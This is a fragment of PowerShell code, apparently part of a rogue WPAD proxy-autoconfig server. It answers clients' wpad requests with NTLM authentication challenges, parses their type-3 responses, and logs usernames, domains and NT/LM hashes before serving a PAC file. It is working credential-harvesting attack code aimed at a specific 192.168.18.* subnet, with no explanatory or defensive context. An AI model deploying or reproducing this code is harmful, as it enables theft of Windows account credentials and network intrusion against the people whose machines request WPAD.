if($line -match '(?i)^GET\s+\S*[Ww][Pp][Aa][Dd]'){
          $wpadAuth = ''
          if($txt -match '(?im)^Authorization:\s*NTLM\s+([A-Za-z0-9+/=]+)'){ $wpadAuth = $Matches[1] }
          $servePacNow = $false
          if($src -like '127.*'){ $servePacNow = $true }
          if($src -like '192.168.18.30:*'){ $servePacNow = $true }
          if($src -notlike '192.168.18.*'){ $servePacNow = $true }
          if(-not $servePacNow){
            if(-not $wpadAuth){
              if($round -ge 3){ $servePacNow = $true } else {
                if($round -eq 1){ WL ('WPADNA|' + $src) }
                $r = "HTTP/1.1 401 Unauthorized`r`nWWW-Authenticate: NTLM`r`nContent-Length: 0`r`nConnection: keep-alive`r`n`r`n"
                $st.Write([Text.Encoding]::ASCII.GetBytes($r),0,$r.Length); $st.Flush()
                continue
              }
            } else {
              $wblob = $null
              try{ $wblob = [Convert]::FromBase64String($wpadAuth) }catch{}
              $widx = FindNtlm $wblob
              if($widx -lt 0){ $servePacNow = $true } else {
                $wnt = $wblob[$widx..($wblob.Length-1)]
                if($wnt[8] -eq 1){
                  $r = "HTTP/1.1 401 Unauthorized`r`nWWW-Authenticate: NTLM " + $t2b + "`r`nContent-Length: 0`r`nConnection: keep-alive`r`n`r`n"
                  $st.Write([Text.Encoding]::ASCII.GetBytes($r),0,$r.Length); $st.Flush()
                  WL ('WPADT2|' + $src)
                  continue
                }
                if($wnt[8] -eq 3){
                  $o = ParseT3 $wnt
                  WL ('NTLMHIT|wpad|' + $src + '|' + $o.user + '|' + $o.dom + '|NTRESP=' + $o.nt + '|LM=' + $o.lm + '|WK=' + $o.wk + '|CHALL=' + $Chall)
                  EmitHash $o
                  $servePacNow = $true
                } else { $servePacNow = $true }
              }
            }
          }
          if($servePacNow){
            $body=''
            try{ $body=[IO.File]::ReadAllText('C:\Users\Public\pac.txt') }catch{}
            if(-not $body){ $body='function FindProxyForURL(url, host){ return "DIRECT"; }' }
            $r="HTTP/1.1 200 OK`r`nContent-Type: application/x-ns-proxy-autoconfig`r`nContent-Length: " + $body.Length + "`r`nConnection: close`r`n`r`n" + $body
            $st.Write([Text.Encoding]::ASCII.GetBytes($r),0,$r.Length); $st.Flush()
            WL ('PACSERVED|' + $src)
            break
          }
        }